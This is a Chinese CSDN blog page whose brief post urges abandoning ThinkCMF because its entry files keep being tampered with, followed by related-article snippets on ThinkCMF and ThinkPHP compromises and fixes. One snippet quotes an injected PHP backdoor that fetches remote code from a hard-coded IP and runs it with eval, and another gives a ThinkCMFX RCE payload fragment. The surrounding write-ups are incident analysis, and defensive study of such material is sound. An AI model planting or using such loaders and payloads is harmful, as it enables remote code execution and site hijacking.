thinkcmf入口 文件经常被篡改，大家还是放弃使用这个系统吧

最新推荐文章于 2026-06-23 15:22:39 发布
原创 最新推荐文章于 2026-06-23 15:22:39 发布 · 3.4k 阅读 · 0 ·
本内容遵循CC 4.0 BY-SA版权协议
QQ:109576764
收录于
thinkCMF(弃用)

当前文章被收录于：

thinkCMF(弃用)
3 篇文章 0 人学习
订阅专栏 查看详情
博客指出ThinkCMF入口文件经常被篡改，鉴于此情况，建议大家放弃使用该系统，反映了ThinkCMF在安全性方面存在问题。

thinkcmf入口 文件经常被篡改，大家还是放弃使用这个系统吧

ThinkCMF使用文本域问题，后台上传图片成功，前台无法显示，图片路径被改变
qq_275487025的博客
09-04 1603
使用后台的富文本域上传图片，上传的时候没问题，存储数据库的时候发现路径会少导致图片在前台无法显示！如下： 对比发现少了一个/upload，调试加上后图片是可以显示的！ 数据库查询发现也是少这个，说明储存的时候被什么过滤掉了！ 下来上代码，开始排查错误： 去找了data这个方法 第一次 第二次 根据上面的判断确定了程序走的顺序 把1和2的exit;去掉即可得到...
实战 | SSRF攻击内网的实战案例
weixin_43167326的博客
02-03 1417
推荐查看： 实战 | 记一次SSRF攻击内网的实战案例 实战 | 记两次应急响应小记 干货 | Wordpress网站渗透方法指南 实战 | 记一次CTF题引发的0day挖掘 2023年零基础+进阶系统化白帽黑客学习 实战 | 记一次邮件系统C段引发的SQL手注和内网渗透
php任意文件引入漏洞,PHP：ThinkCMFX任意文件包含漏洞
weixin_31230841的博客
04-11 358
前言：最近爆出来的漏洞，ThinkCmfX版本应该是通杀的，基于3.X Thinkphp开发的代码下载地址：https://gitee.com/thinkcmf/ThinkCMFX/releases我们就拿这个payload来进行分析http://127.0.0.1/index.php?a=fetch&content=我们要知道tp框架的特性，可以通过这种形式的路由方式进行访问相应的功能点...
ThinkCMF X2.2.2漏洞的复现
摸鱼的博客
09-12 962
一、漏洞描述ThinkCMF X2.2.2 ThinkCMF X2.2.2 二、漏洞危害 远程攻击者在无需任何权限情况下，通过构造特定的请求包即可在远程服务器上执行任意代码 三、环境搭建 ThinkCMF X2.2.2 下载：https://github.com/SaltNego/much_tools 四、漏洞复现 访问目标网站，如下图所示： 输入payload：payload：?a=fetch&templateFile=public/index&prefix=’’&cont
【求大神帮助】thinkphp3.2.3老是被篡改入口文件
lieren141的博客
01-17 1043
thinkphp3.2.3老是被篡改入口文件，有时候还要被修改Public里样式文件夹里的js 1.6.2 或1.7文件，改完后在百度里找到网站点击后就跳转到别的地方了，还有时候要被修改Think里面的Think.php文件。3、全总代码里的上传功能都干掉了，富文本框里的没有禁用（使用的是ueditor4.3）4、服务从windows换成linux再换成windows每次都要用安全狗扫一遍。6、安全狗扫出来的问题全部解决了，甚至把文件都删除了。2、几个文件夹设置了权限。5、安装了安全狗网站版。
thinkcmf漏洞导致网站被挂webshell木马
cbaln0的博客
11-05 1982
大概是10月22日开始漏洞入侵，入侵版本为thinkCMFX的所有版本，就是thinkphp3.2版本的thinkcmf 修复方法 将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰由原来的 public 改为 protected 需要检查是否已经被入侵，可...
解决网站快照内容被篡改跳转被挂马的问题
weixin_34026484的博客
07-03 253
2019独角兽企业重金招聘Python工程师标准>>> ...
thinkphp 5.0 index.php被替换成首页内容，被注入恶意代码
weixin_34019929的博客
03-11 3875
原TP项目是5.0.10，近日，在登录后台时，域名/admin，跳转到网站首页。无法进入后台登录页面。然后发现，public/index.php竟然被改了。 先升级到5.0.24。还是被中枪。 后来领导查看了nginx日志。日志在 /home/wwwlogs/域名.log 发现了某个上传图片的目录下，竟然有.php文件。 192.168.100.1 - - [06/Mar/2019:14:16:...
放弃OT了，找了个新框架ThinkCMF
weixin_34001430的博客
10-20 100
放弃OT了，找了个新框架ThinkCMF，感觉还不错，用用看。 选择OT的原因： 1. OT基于ThinkPHP 2. OT对ThinkPHP进行了封装，使得开发应用更加简单 3. yershop应用是基于OT的 放弃的原因： 1. OT已经长时间没人维护了 2. OT提供的版本包问题太多，不适合使用。 接下来几天研究下ThinkCMF，希望有所进展。 转载于:h...
折腾（二）选择一款CMS
iteye_11331的博客
05-04 91
忘了之前为了什么原因硬是把Godaddy上的空间从IIS6切换到IIS7，当时也没感觉有什么改进，最近才发现，原来IIS7支持PHP5.x，而多数的优秀的CMS系统都是用PHP构建的，于是萌发了使用CMS替代现在网站的念头。 所谓CMS是Content Management System（内容管理系统）的简称，任何如文章，图片，声音，视频都可以成为内容，自然任何能够管理这些东西的系统都可以称为内...
我与ThinkPHP 6.0：从陌生到熟悉的探索之路
2401_85979589的博客
07-17 463
我相信，在未来的日子里，我会用它开发出更多优秀的小程序，为用户带来更好的体验和服务。在这个过程中，我逐渐掌握了它的使用方法，也体会到了它带来的便利和高效。我发现，它不仅是一个功能强大的框架，更是一个富有创新精神和实用价值的工具。去年，当我听说ThinkPHP 6.0这个新版本发布时，我决定尝试使用它，看看是否能给我的开发工作带来新的变化。我下载了它的文档，开始从头阅读，试图理解这个新版本的特点和优势。我发现它相比之前的版本，有了更多的改进和优化，特别是在路由、ORM和性能上。在这个过程中，我也收获了很多。
自动摘要/分类技术在CMS中的应用
车东@CSDN
07-17 231
卢亮最近忙什么呢？BLOG也很久没更新了。上周的一次小聚才了解到：原来他一直在准备自动类聚技术，利用自动类聚技术改进一些现有BLOG发布系统的关联机制： 1 文章的自动分类： 实现类似于目前news.google...
ThinkPHP---ue编辑器
weixin_30653097的博客
04-02 317
【一】简介 （1）介绍 一款百度开发的JS插件 ue编辑器，全称Ueditor(翻译为你的编辑器)，百度开发的在线编辑器，是一款在线编辑器软件，在线编辑器又称为“富文本编辑器”。 国外也有一款类似的编辑器CKeditor 百度ue编辑器官网网址：http://ueditor.baidu.com （2）作用 常见的例如新闻文章的发布编辑、格式化新闻、添加图片或视频等。用的时候和Word...
大模型深水区：长上下文稳定与多模态轻量对齐实战
最新发布
weixin_33965305的博客
06-23 337
大语言模型已从参数竞赛迈入系统工程深水区，核心挑战聚焦于长上下文稳定性与多模态高效对齐。其原理在于传统位置编码外推失效引发注意力坍缩，而跨模态联合建模受限于计算密度瓶颈与语义耦合失配。技术价值体现在以动态位置掩码、分段记忆池和特征级耦合等‘压舱石’方案，在不牺牲精度前提下显著提升128K上下文召回率与多模态推理一致性。典型应用场景覆盖工业质检、教育陪练与医疗辅助等强语义依赖任务，要求模型在边缘部署、低延迟响应与合规可追溯约束下仍保持鲁棒性。本文深入拆解推理成本压缩、模块化组装与长上下文稳定性等关键战场。
thinkcmf 去掉index.php,​ThinkCMF5.0如何修改入口文件 解决方法
weixin_34504277的博客
03-10 798
ThinkCMF如何修改入口文件？ThinkCMF5.0是基于ThinkPHP5.0开发和之前的ThinkCMF版本有了很大的变化。ThinkCMF默认的入口面页 http://www.你的网址.com/public/index.php在安装好的ThinkCMF后，这时我们要把Public里的全部文件拖到您的网站根目录，之后修改index.php 入口文件//定义CMF根目录,可更改此目录d...
php主页劫持,基于 ThinkPHP5 的 cltphp 被搜索劫持，篡改首页的解决过程记录
weixin_34406909的博客
03-09 1079
经过对比文件：1- 攻击者会写入与原文件名类似的文件， ，内容：function s(){$contents = file_get_contents('http://67.198.186.42:29808/s/admine21.txt');a($contents);}function a($conn){$b = '';eval($b.$conn.$b);}s();?>或者$b = '';wh...
thinkcmf搭建教程_bt实战Thinkcmf搭建安装教程——Thinkcmf框架搭建安装教程
weixin_39853843的博客
01-14 1015
实战日记借用bt实战操作第一步：环境准备(在这里我用的是win系统来给大家做演示，建议大家用linux)我的环境为Nginx 1.17.2MySQL 5.5.62phpMyAdmin 4.8PHP-7.2具体大家可以自己随心搭配 建议用我的配置哦第二步：源码下载Thinkcmf源码大家可以去官网进行源码下载，也可以用我为大家复制过来的下载之后大家可以上传至服务器哦第三步：网站搭建至于怎么搭建网站就...
如何解决网站首页老是被篡改经常反复被篡改
热门推荐
网站安全专家
07-05 2万+
网站首页被篡改说明你网站程序有漏洞导致被上传了脚本后门木马 从而进行篡改内容被百度收录一些BC内容和垃圾与网站不相关的内容,建议找专业做安全的来进行网站安全服务漏洞检测与修补以及代码安全审计，清理网站后门和恶意代码,而且这个快照内容被劫持 会在搜索引擎中点开后网站会被跳转,对网站的影响非常大处理方法：先把可疑的文件 查看下修改时间 对比下 自己本地的备份文件 是否有多余的文件 如果有的话就删除，再...
ThinkPHP首页劫持现象的探讨
xiuxiuxiuasd的博客
07-05 596
由于ThinkPHP框架本身存在的安全漏洞，如未及时更新修补的已知漏洞、代码中的安全隐患等，为攻击者提供了可乘之机。：首页被劫持后，用户访问网站时看到的可能不是原本的内容，而是被篡改或植入广告的页面，导致用户体验严重下降。：首页作为网站的门面，一旦被劫持，可能会给用户留下不专业、不安全的印象，从而对品牌形象造成负面影响。：定期关注ThinkPHP官方发布的安全公告，及时更新修补框架中的安全漏洞，确保系统的安全性。：启用HTTPS协议，设置合适的访问权限，限制对网站目录的访问，防止未经授权的访问和修改。
记录 ThinkCMF 框架 X2.2.3 版本漏洞发现与解决
Peak Xin's Blog
03-24 1365
接到网警通知，说网站有安全漏洞，根据网警提供的检测报告，经过各种尝试，终于复现了，现在记录这一激动人心的时刻。因为它的这两个方法是公用的，我们需要把它改为私用的，这样才可以不被前端的用户去任意的利用。，根据网警提供的检测报告在postman工具上操作复现漏洞情况。那找解决方法吧，升级框架肯定是不现实的，好歹是找了解决方案。网站是基于ThinkCMF框架搭建的，查看版本是。点击发送，看看结果，意不意外惊不惊喜！修复后，再次访问，解决了。
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值